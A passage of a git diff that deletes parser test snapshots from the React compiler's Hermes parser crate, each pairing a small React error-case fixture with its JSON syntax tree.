-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        98
-      ],
-      "loc": null,
-      "range": [
-        0,
-        98
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    98
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.codegen-error-on-conflicting-imports.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.codegen-error-on-conflicting-imports.js.snap
deleted file mode 100644
index 5b92f7408e2e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.codegen-error-on-conflicting-imports.js.snap
+++ /dev/null
@@ -1,168 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.codegen-error-on-conflicting-imports.js
----
-Input:
-// @enableEmitFreeze @instrumentForget
-
-let makeReadOnly = "conflicting identifier";
-function useFoo(props) {
-  return foo(props.x);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "VariableDeclaration",
-      "kind": "let",
-      "declarations": [
-        {
-          "type": "VariableDeclarator",
-          "id": {
-            "type": "Identifier",
-            "name": "makeReadOnly",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              44,
-              56
-            ]
-          },
-          "init": {
-            "type": "StringLiteral",
-            "value": "conflicting identifier",
-            "loc": null,
-            "range": [
-              59,
-              83
-            ]
-          },
-          "loc": null,
-          "range": [
-            44,
-            83
-          ]
-        }
-      ],
-      "loc": null,
-      "range": [
-        40,
-        84
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "useFoo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          94,
-          100
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            101,
-            106
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  119,
-                  122
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      123,
-                      128
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      129,
-                      130
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    123,
-                    130
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                119,
-                131
-              ]
-            },
-            "loc": null,
-            "range": [
-              112,
-              132
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          108,
-          134
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        85,
-        134
-      ],
-      "loc": null,
-      "range": [
-        85,
-        134
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    40,
-    134
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.hoisted-function-declaration.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.hoisted-function-declaration.js.snap
deleted file mode 100644
index a5913222cc25..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.hoisted-function-declaration.js.snap
+++ /dev/null
@@ -1,297 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.hoisted-function-declaration.js
----
-Input:
-function component(a) {
-  let t = { a };
-  x(t); // hoisted call
-  function x(p) {
-    p.foo();
-  }
-  return t;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  43,
-                  44
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    45,
-                    46
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                43,
-                47
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              43,
-              48
-            ]
-          },
-          {
-            "type": "FunctionDeclaration",
-            "id": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                76,
-                77
-              ]
-            },
-            "params": [
-              {
-                "type": "Identifier",
-                "name": "p",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  78,
-                  79
-                ]
-              }
-            ],
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "p",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          87,
-                          88
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          89,
-                          92
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        87,
-                        92
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      87,
-                      94
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    87,
-                    95
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                81,
-                99
-              ]
-            },
-            "generator": false,
-            "async": false,
-            "loc": null,
-            "range": [
-              67,
-              99
-            ],
-            "loc": null,
-            "range": [
-              67,
-              99
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "t",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                109,
-                110
-              ]
-            },
-            "loc": null,
-            "range": [
-              102,
-              111
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          113
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        113
-      ],
-      "loc": null,
-      "range": [
-        0,
-        113
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    113
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.hooks-with-React-namespace.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.hooks-with-React-namespace.js.snap
deleted file mode 100644
index 526c6ccb8636..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.hooks-with-React-namespace.js.snap
+++ /dev/null
@@ -1,175 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.hooks-with-React-namespace.js
----
-Input:
-function Foo() {
-  const [x, setX] = React.useState(1);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        26,
-                        27
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "setX",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        29,
-                        33
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    25,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "React",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        37,
-                        42
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "useState",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        43,
-                        51
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      37,
-                      51
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        52,
-                        53
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    54
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  54
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              55
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                65,
-                66
-              ]
-            },
-            "loc": null,
-            "range": [
-              58,
-              67
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          69
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        69
-      ],
-      "loc": null,
-      "range": [
-        0,
-        69
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    69
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-access-ref-during-render.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-access-ref-during-render.js.snap
deleted file mode 100644
index ae5a885088fa..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-access-ref-during-render.js.snap
+++ /dev/null
@@ -1,206 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-access-ref-during-render.js
----
-Input:
-// @debug
-function Component(props) {
-  const ref = useRef(null);
-  const value = ref.current;
-  return value;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          19,
-          28
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            29,
-            34
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    46,
-                    49
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      52,
-                      58
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        59,
-                        63
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    52,
-                    64
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  46,
-                  64
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              40,
-              65
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "value",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    74,
-                    79
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "ref",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      82,
-                      85
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "current",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      86,
-                      93
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    82,
-                    93
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  74,
-                  93
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              68,
-              94
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "value",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                104,
-                109
-              ]
-            },
-            "loc": null,
-            "range": [
-              97,
-              110
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          36,
-          112
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        10,
-        112
-      ],
-      "loc": null,
-      "range": [
-        10,
-        112
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    10,
-    112
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-array-push-frozen.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-array-push-frozen.js.snap
deleted file mode 100644
index 607b2889ddb6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-array-push-frozen.js.snap
+++ /dev/null
@@ -1,279 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-array-push-frozen.js
----
-Input:
-function Component(props) {
-  const x = [];
-  <div>{x}</div>;
-  x.push(props.value);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              43
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    47,
-                    50
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  46,
-                  51
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      52,
-                      53
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    51,
-                    54
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    56,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  54,
-                  60
-                ]
-              },
-              "loc": null,
-              "range": [
-                46,
-                60
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              46,
-              61
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    64,
-                    65
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    66,
-                    70
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  64,
-                  70
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      71,
-                      76
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "value",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      77,
-                      82
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    71,
-                    82
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                64,
-                83
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              64,
-              84
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                94,
-                95
-              ]
-            },
-            "loc": null,
-            "range": [
-              87,
-              96
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          98
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        98
-      ],
-      "loc": null,
-      "range": [
-        0,
-        98
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    98
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-assign-hook-to-local.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-assign-hook-to-local.js.snap
deleted file mode 100644
index 9db429247e18..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-assign-hook-to-local.js.snap
+++ /dev/null
@@ -1,204 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-assign-hook-to-local.js
----
-Input:
-function Component(props) {
-  const x = useState;
-  const state = x(null);
-  return state[0];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "useState",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    40,
-                    48
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  48
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              49
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "state",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    58,
-                    63
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      66,
-                      67
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        68,
-                        72
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    66,
-                    73
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  58,
-                  73
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              52,
-              74
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "state",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  84,
-                  89
-                ]
-              },
-              "property": {
-                "type": "NumericLiteral",
-                "value": 0.0,
-                "loc": null,
-                "range": [
-                  90,
-                  91
-                ]
-              },
-              "computed": true,
-              "loc": null,
-              "range": [
-                84,
-                92
-              ]
-            },
-            "loc": null,
-            "range": [
-              77,
-              93
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          95
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        95
-      ],
-      "loc": null,
-      "range": [
-        0,
-        95
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    95
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-capture-func-passed-to-jsx.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-capture-func-passed-to-jsx.js.snap
deleted file mode 100644
index c4a77ca43739..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-capture-func-passed-to-jsx.js.snap
+++ /dev/null
@@ -1,547 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-capture-func-passed-to-jsx.js
----
-Input:
-function component(a, b) {
-  let y = { b };
-  let z = { a };
-  let x = function () {
-    z.a = 2;
-    y.b;
-  };
-  let t = <Foo x={x}></Foo>;
-  mutate(x); // x should be frozen here
-  return t;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          39,
-                          40
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        39,
-                        40
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    51
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          56,
-                          57
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        56,
-                        57
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    54,
-                    59
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  50,
-                  59
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              60
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    68
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "AssignmentExpression",
-                          "operator": "=",
-                          "left": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "z",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                89,
-                                90
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "a",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                91,
-                                92
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              89,
-                              92
-                            ]
-                          },
-                          "right": {
-                            "type": "NumericLiteral",
-                            "value": 2.0,
-                            "loc": null,
-                            "range": [
-                              95,
-                              96
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            89,
-                            96
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          89,
-                          97
-                        ]
-                      },
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              102,
-                              103
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              104,
-                              105
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            102,
-                            105
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          102,
-                          106
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      83,
-                      110
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    71,
-                    110
-                  ],
-                  "loc": null,
-                  "range": [
-                    71,
-                    110
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  67,
-                  110
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              63,
-              111
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
